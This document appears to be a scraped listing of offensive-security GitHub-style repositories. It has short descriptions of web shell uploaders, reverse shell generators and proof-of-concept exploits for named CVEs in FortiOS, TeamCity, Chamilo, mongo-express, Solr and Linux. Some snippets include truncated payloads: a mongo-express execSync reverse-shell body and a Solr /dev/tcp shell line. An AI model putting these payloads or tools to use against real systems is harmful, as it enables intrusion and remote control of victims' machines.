ShellUpload

ShellUpload kurosava.php kurosava.php is a malicious PHP web shell uploader...

CVE-2024-21762_FortiNet_PoC

CVE-2024-21762FortiNetPoC Proof-of-concept scanner targeting CVE-2024-21762 in FortiOS SSL VPN’s /remote/hostcheckvalidate endpoint with reverse shell payload delivery. Here’s a GitHub-style writeup for your project, including a clean and concise summary, a usage guide, and context on how it fits...

shlol

SHLOL This is a menu you can trigger with a keybind to do basic stuff for you Really easy to use Create listeners on the fly No copy pasting needed Choose the type, IP and PORT and you are done! Run remote scripts easily Reverse Shell Generator...

hershell

Hershell NOTE: the project has been forked on this repo, check there for any other developments. Hershell is a simple TCP reverse shell written in Go. It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception...

CVE-2022-1292

CVE-2022-1292 POC Description The crehash script does not properly sanitise shell metacharacters to prevent command injection. This script is distributed by some operating systems in a manner where it is automatically executed. On such operating systems, an attacker could execute arbitrary comman...

CVE-2022-26134_Behinder_MemShell

CVE-2022-26134BehinderMemShell Original project address: https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL Modified to connect to Behinder memory shell java -jar CVE-2022-26134BehinderMemShell.jar http://192.168.0.193:8090/ password123...

CVE-2023-42793

CVE-2023-42793 JetBrains TeamCity before 2023.05.4 is vulnerable to authentication bypass leading to RCE Usage To get a reverse shell python3 exploit.py References https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/...

CVE-2023-4220_Chamilo_RCE

CVE-2023-4220 Python exploit for Chamilo Unrestricted File Upload Vuln - CVE-2023-4220 The code contained within the repository is meant for educational purposes only. Description: Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in...

DIRTYFAIL

DIRTYFAIL A unified detector and PoC harness for the Copy Fail and Dirty Frag Linux page-cache write vulnerability families. ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ █...

CVE-2019-10758

CVE-2019-10758 mongo-express remote code execution, reverse shell code as follows: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2: document=this.constructor.constructor"return...

React2Shell

React2Shell - CVE-2025-55182 & CVE-2025-66478 Author: LAKSHMIKANTHAN K letchupkt Instagram: @letchupkt Version: 2.0.0 Obfuscated Date: 2025-12-07 🚀 Quick Start Run the Scanner python react2shell.py That's it! The scanner will: 1. Verify its integrity 2. Decompress the code 3. Execute normally All...

CVE-2026-24061

CVE-2026-24061: telnetd Authentication Bypass Vulnerability CVE-2026-24061 is an authentication bypass vulnerability in telnetd that allows attackers to bypass identity verification through specific combinations of environment variables and directly obtain a root-privileged shell. There is a flaw...

CVE-2022-0847

CVE-2022-0847 Simple reproduction of CVE-2022-0847 Original disclosure article: https://dirtypipe.cm4all.com/ Reproduction Environment Linux kali 5.10.0-kali7-amd64 1 SMP Debian 5.10.28-1kali1 2021-04-12 x8664 GNU/Linux Dependencies gcc Usage Steps git clone...

CVE-2019-10149-quick

CVE-2019-10149-quick Simple Bash shell quick fix CVE-2019-10149...

spinnaker-poc

Spinnaker Vulnerability POCs Proof-of-concept demonstrations for CVE-2026-32604 and CVE-2026-32613, two 10.0 severity vulnerabilities in Spinnaker that allow for code execution and production cloud credential theft. Video walkthrough of how to use these POCS Technical blog with more details...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

armory

dM. ,MMb d'YM. ,P Mb MM 6MM MM 6MMb 6MMb 6MMMMMb MM 6MM MM M' d' YM. MM69 " MM69 MM69 Mb 6M' Mb MM69 " Mb d' ,PMbMMMMMMMMMMMMMMYM.,P d' YM. MM MM MM MM MM MM MM MM M \ ,MMMMMMMMbMMMMMMMMMMMMMMMbd'\ d' YM. MM MM MM MM YM. ,M9 MM YMP dM dMMMM MM MM MM YMMMMM9 MM M d' 8,P YMM Description This is...

CVE-2023-34039

CVE-2023-34039 POC for CVE-2023-34039 VMWare Aria Operations for Networks vRealize Network Insight Static SSH key RCE Technical Analysis A root cause analysis of the vulnerability can be found on my blog: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/ Summary VMWa...

revshellgen

🚀 RevShellGen Reverse Shell Generator Automate reverse shell generation with style Generate, encode, and catch reverse shells without the hassle Features • Installation • Usage • Shell Types • Contributing 📖 About RevShellGen is a powerful command-line tool that simplifies the process of generati...

YAPS

YAPS - Y et A nother P HP S hell Yes, as the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there, but with some advantages. It is a single PHP file containing all its functions and you can control it via a simple TCP listener e.g. nc -lp 1337. In the...